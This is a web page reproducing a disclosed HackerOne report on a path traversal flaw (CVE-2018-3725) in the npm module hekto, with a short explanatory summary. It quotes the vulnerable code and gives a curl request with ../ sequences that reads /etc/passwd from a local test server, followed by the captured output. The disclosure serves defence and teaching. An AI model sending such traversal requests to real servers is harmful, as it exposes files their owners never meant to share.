Skip to content
Path traversal Disclosed report Beginner CVE-2018-3725

[hekto] Path Traversal vulnerability allows to read content of arbitrary files

The hekto module joins the request URL to a base directory without sanitising path traversal sequences, so a request containing ../ can escape the served directory. An attacker can read any file the server process can access, such as the system password file.

bl4de Follow

Originally disclosed on HackerOne

High 8.6 View original
  • Triaged in 23 hours
  • Fixed in 26 days
  • Disclosed after 26 days

Hi Guys,

There is Path Traversal vulnerability in hekto module, which allows to read arbitrary file from the remote server.

Module

hekto

This package exposes a directory and its children to create, read, update, and delete operations over http.

https://www.npmjs.com/package/hekto

version: 0.2.0

Stats 0 downloads in the last day 7 downloads in the last week 36 downloads in the last month

~420 estimated downloads per year

Description

This vulnerability exists, because there is no sanitization of path of requested file. In line 80 (index.js) file is set:

JavaScript
// node_modules/hekto/bin/hekto.js line 80:
    let file = path.join(process.cwd(), argDir, this.request.url);

Then, this variable is used "as is" in code which reads file from the server:

JavaScript
// node_modules/hekto/bin/hekto.js line 126:

    // if `file` is a file
    if (fs.lstatSync(file).isFile()) {
        this.status = 200;

        if (path.extname(file) == '.html') {
            this.type = 'text/html';
            this.body = fs.createReadStream(file);
        } else if (path.extname(file) == '.css') {
            this.type = 'text/css';
            this.body = fs.createReadStream(file);
        } else {
            const fileBuffer = readChunk.sync(file, 0, 4100);
            const mime = fileType(fileBuffer);

            if (mime) {
                this.type = mime.mime + '; charset=utf-8';
            } else {
                this.type = 'text/plain; charset=utf-8';
            }

            this.body = fs.createReadStream(file);
        }
    }

Steps To Reproduce:

  • install hekto module
$ npm install hekto
  • run server from command line:
$ ./node_modules/hekto/bin/hekto.js serve

Serving on port 3000

  • use following command to confirm the vulnerability (pelase adjust number of ../ to reflect your system):
$ curl -v --path-as-is http://127.0.0.1:3000/../../../../../etc/passwd

Result:

*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 3000 (#0)
> GET /../../../../../etc/passwd HTTP/1.1
> Host: 127.0.0.1:3000
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 200 OK
< Vary: Accept-Encoding
< X-Powered-By: Hekto
< Content-Type: text/plain; charset=utf-8
< Date: Wed, 31 Jan 2018 23:08:42 GMT
< Connection: keep-alive
< Transfer-Encoding: chunked
<
##
# User Database
#
# Note that this file is consulted directly only when the system is running
# in single-user mode.  At other times this information is provided by
# Open Directory.
#
# See the opendirectoryd(8) man page for additional information about
# Open Directory.
##
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
(...)

Supporting Material/References:

Configuration:

  • macOS 10.13.3
  • Chromium 66.0.3331.0 (Developer Build) (64-bit)
  • Node.js version: v8.9.3
  • npm version: 5.5.1
  • curl 7.54.0

Please feel free to invite module maintainer to this report. I haven't contacted maintainer as I want to keep the process of fixing and disclosing bug consistent through HackerOne platform only.

I hope my report will help to keep Node.js ecosystem and its users safe in the future.

Regards,

Rafal 'bl4de' Janicki

Impact

This vulnerability can be used to read content of any file from remote server where hekto is run.

The original report as published on HackerOne, by bl4de. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The request URL is joined to the base directory without sanitising or normalising path traversal sequences before the file is opened.

Impact

An attacker can read the content of any file on the remote server where hekto is running.

What the attacker needed

Hekto server reachable over HTTP; no authentication needed

How it was found

  1. Install the hekto module.
  2. Start the hekto server from the command line.
  3. Send a request whose path contains several parent-directory segments.
  4. Observe that the response returns the contents of a system file outside the served directory.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web server is supposed to show only files inside one folder. Here it takes the path from the web request and sticks it onto the folder name without checking for '..' which means 'go up one folder'. By sending enough of those, a visitor can step outside the folder and read other files on the machine.

What is Path traversal?

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.

More by bl4de

View all

42 more disclosed reports, best first.

More from Node.js third-party modules

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Path traversal and file inclusion

The lesson behind this report.

Input that builds a file path escapes the intended folder, reading or writing files the application should never touch.